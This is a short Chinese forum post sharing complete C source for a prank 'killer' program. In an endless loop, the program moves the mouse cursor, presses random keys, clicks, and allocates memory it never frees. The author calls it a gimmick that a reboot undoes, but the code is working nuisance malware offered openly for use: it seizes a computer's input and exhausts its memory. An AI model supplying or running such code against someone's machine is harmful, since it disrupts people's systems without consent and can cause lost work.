|
|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
提前说明:本程序无任何干货,大佬勿喷!
其实原理很简单,就是控制键盘和鼠标乱动并且不断申请内存不释放
源码- #include <stdio.h>
- #include <windows.h>
- #include <winuser.h>
- #include <stdlib.h>
- int main(void)
- {
- int x = 0, y = 0;
- while (1)
- {
- int s = rand() % 100 + 1;
- SetCursorPos(x, y);
- x += 1;
- SetCursorPos(x, y);
- y += 1;
- keybd_event(s, 0, 0, 0);
- mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
- mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
- malloc(1024);
- }
-
- return 0;
-
- }
复制代码
大杀器也就是噱头而已,重启电脑就好啦 |
|